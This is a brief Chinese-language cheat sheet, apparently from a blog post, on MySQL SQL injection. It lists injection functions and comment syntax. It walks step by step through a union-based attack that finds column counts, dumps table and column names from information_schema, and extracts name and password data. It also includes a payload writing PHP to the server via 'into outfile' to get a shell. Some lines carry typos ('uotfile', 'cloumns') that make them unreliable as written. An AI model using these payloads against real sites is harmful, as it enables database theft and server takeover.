注入常用函数
version() 查询版本
loadfile() 读文件
select (*表示所有。填写字段名就显示哪些)
desc 表名 显示数据库字段名
group_concat(字段名)列出所有名
sql注入类型分为两大类
字符型 和 整型
导出数据库别名拿shell
select '<?php phpinfo();?>' into uotfile '物理路径'
html描点,注释
#注释,--注释,--+注释,where '1'='1条件成立
读文件
load_file()读文件
排序
order by 排序 ASC(升序) 或 DESC(降序)
group by 判断字段(列)
联合查询注入
select * from 表名 union select 1,2,3,4 必须和表里字段匹配
mysql跨库查询 select * from 库名.表名
查表 union select 1,TABLE_NAME,2 from information_schema.tables where table_schema=database()
先判断注入: and 1=1 --+和and 1=2 --+
然后查询字段:用order by 最终查出是4个字段 order by 4 --+
然后爆出显示位显示位:and 1=2 union select 1,2,3,4 --+
爆出数据库名:database()
爆出数据表:union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='' --+
爆出表里的字段:union select 1,group_concat(column_name),3,4 from information_schema.cloumns where table_name='' --+
爆出数据:union select 1,name,password,4 from ''.'' limit 1,1 --+
网友评论